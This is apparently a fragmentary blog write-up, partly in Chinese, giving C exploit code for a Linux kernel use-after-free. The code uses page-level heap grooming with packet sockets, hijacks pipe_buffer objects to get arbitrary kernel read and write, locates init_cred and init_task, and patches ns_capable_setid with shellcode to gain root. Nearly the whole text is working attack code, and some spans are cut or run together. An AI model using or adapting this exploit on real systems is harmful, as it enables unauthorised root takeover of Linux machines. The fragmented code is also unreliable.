This option enables Clang’s forward-edge Control Flow Integrity (CFI) checking, where the compiler injects a runtime check to each indirect function call to ensure the target is a valid function with the correct static type. This restricts possible call targets and makes it more difficult for an attacker to exploit bugs that allow the modification of stored function pointers. More information can be found from Clang’s documentation:
/** * struct pipe_buffer - a linux kernel pipe buffer * @page: the page containing the data for the pipe buffer * @offset: offset of data inside the @page * @len: length of data inside the @page * @ops: operations associated with this buffer. See @pipe_buf_operations. * @flags: pipe buffer flags. See above. * @private: private data owned by the ops. **/ structpipe_buffer { structpage *page; unsignedint offset, len; conststructpipe_buf_operations *ops; unsignedint flags; unsignedlong private; };
/* spray pages in different size for various usages */ voidprepare_pgv_pages(void) { /** * We want a more clear and continuous memory there, which require us to * make the noise less in allocating order-3 pages. * So we pre-allocate the pages for those noisy objects there. */ puts("[*] spray pgv order-0 pages..."); for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) { if (alloc_page(i, 0x1000, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
puts("[*] spray pgv order-2 pages..."); for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) { if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
/* spray 8 pages for page-level heap fengshui */ puts("[*] spray pgv order-3 pages..."); for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) { /* a socket need 1 obj: sock_inode_cache, 19 objs for 1 slub on 4 page*/ if (i % 19 == 0) { free_page(pgv_4pages_start_idx++); }
/* a socket need 1 dentry: dentry, 21 objs for 1 slub on 1 page */ if (i % 21 == 0) { free_page(pgv_1page_start_idx += 2); }
/* a pgv need 1 obj: kmalloc-8, 512 objs for 1 slub on 1 page*/ if (i % 512 == 0) { free_page(pgv_1page_start_idx += 2); }
if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!\n", i); } }
intextend_pipe_buffer_to_4k(int start_idx, int nr) { for (int i = 0; i < nr; i++) { /* let the pipe_buffer to be allocated on order-3 pages (kmalloc-4k) */ if (i % 8 == 0) { free_page(pgv_8pages_start_idx++); }
/* a pipe_buffer on 1k is for 16 pages, so 4k for 64 pages */ if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) { printf("[x] failed to extend %d pipe!\n", start_idx + i); return-1; } }
/* try to rehit victim page by reallocating pipe_buffer */ puts("[*] fcntl() to set the pipe_buffer on victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); err_exit("FAILED to re-alloc pipe_buffer!"); } } ....
if ((size_t) info_pipe_buf.page < 0xffff000000000000 || (size_t) info_pipe_buf.ops < 0xffffffff81000000) { err_exit("FAILED to re-hit victim page!"); }
puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m"); printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page); puts("");
/* try to rehit victim page by reallocating pipe_buffer */ puts("[*] fcntl() to set the pipe_buffer on second-level victim page..."); for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0) { printf("[x] failed to resize %d pipe!\n", i); err_exit("FAILED to re-alloc pipe_buffer!"); } }
/* let a pipe->bufs pointing to itself */ puts("[*] hijacking the 2nd pipe_buffer on page to itself..."); evil_pipe_buf.page = info_pipe_buf.page; evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ; evil_pipe_buf.ops = info_pipe_buf.ops; evil_pipe_buf.flags = info_pipe_buf.flags; evil_pipe_buf.private = info_pipe_buf.private;
/* check for third-level victim pipe */ for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_2nd_pipe_pid = i; printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n", self_2nd_pipe_pid); break; } }
if (self_2nd_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
/* overwrite the 3rd pipe_buffer to this page too */ puts("[*] hijacking the 3rd pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
/* check for third-level victim pipe */ for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_3rd_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_3rd_pipe_pid); break; } }
if (self_3rd_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
/* overwrite the 4th pipe_buffer to this page too */ puts("[*] hijacking the 4th pipe_buffer on page to itself..."); evil_pipe_buf.offset = TRD_PIPE_BUF_SZ; evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
/* check for third-level victim pipe */ for (int i = 0; i < PIPE_SPRAY_NUM; i++) { if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) { continue; }
read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr)); if (page_ptr == evil_pipe_buf.page) { self_4th_pipe_pid = i; printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m" "%d\n", self_4th_pipe_pid); break; } }
if (self_4th_pipe_pid == -1) { err_exit("FAILED to build a self-writing pipe!"); }
puts(""); }
任意读写
之前已经介绍了ABC的作用,以下就是初始化准备过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
voidsetup_evil_pipe(void) { /* init the initial val for 2nd,3rd and 4th pipe, for recovering only */ memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf)); memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf)); memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
/** * KASLR's granularity is 256MB, and pages of size 0x1000000 is 1GB MEM, * so we can simply get the vmemmap_base like this in a SMALL-MEM env. * For MEM > 1GB, we can just find the secondary_startup_64 func ptr, * which is located on physmem_base + 0x9d000, i.e., vmemmap_base[156] page. * If the func ptr is not there, just vmemmap_base -= 256MB and do it again. */ vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000; for (;;) { arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);
/** * For a machine with MEM less than 256M, we can simply get the: * page_offset_base = heap_leak & 0xfffffffff0000000; * But that's not always accurate, espacially on a machine with MEM > 256M. * So we need to find another way to calculate the page_offset_base. * * Luckily the task_struct::ptraced points to itself, so we can get the * page_offset_base by vmmemap and current task_struct as we know the page. * * Note that the offset of different filed should be referred to your env. */ for (int i = 0; 1; i++) { arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task); printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred); printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);
/* now, changing the current task_struct to get the full root :) */ puts("[*] Escalating ROOT privilege now...");
/* because of lazy allocation, we need to write it manually */ for (int i = 0; i < 8; i++) { kcode_map[i] = "arttnba3"[i]; kcode_map[i + 0x1000] = "arttnba3"[i]; }
/* overwrite kernel code seg to exec shellcode directly :) */ dst_vaddr = NS_CAPABLE_SETID + kernel_offset; printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n", dst_vaddr);
/** * The setresuid() check for user's permission by ns_capable_setid(), * so we can just patch it to let it always return true :) */ memset(kcode_map + (NS_CAPABLE_SETID & 0xfff), '\x90', 0x40); /* nop */ memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff) + 0x40, "\xf3\x0f\x1e\xfa"/* endbr64 */ "H\xc7\xc0\x01\x00\x00\x00"/* mov rax, 1 */ "\xc3", /* ret */ 12);
/* get root now :) */ puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");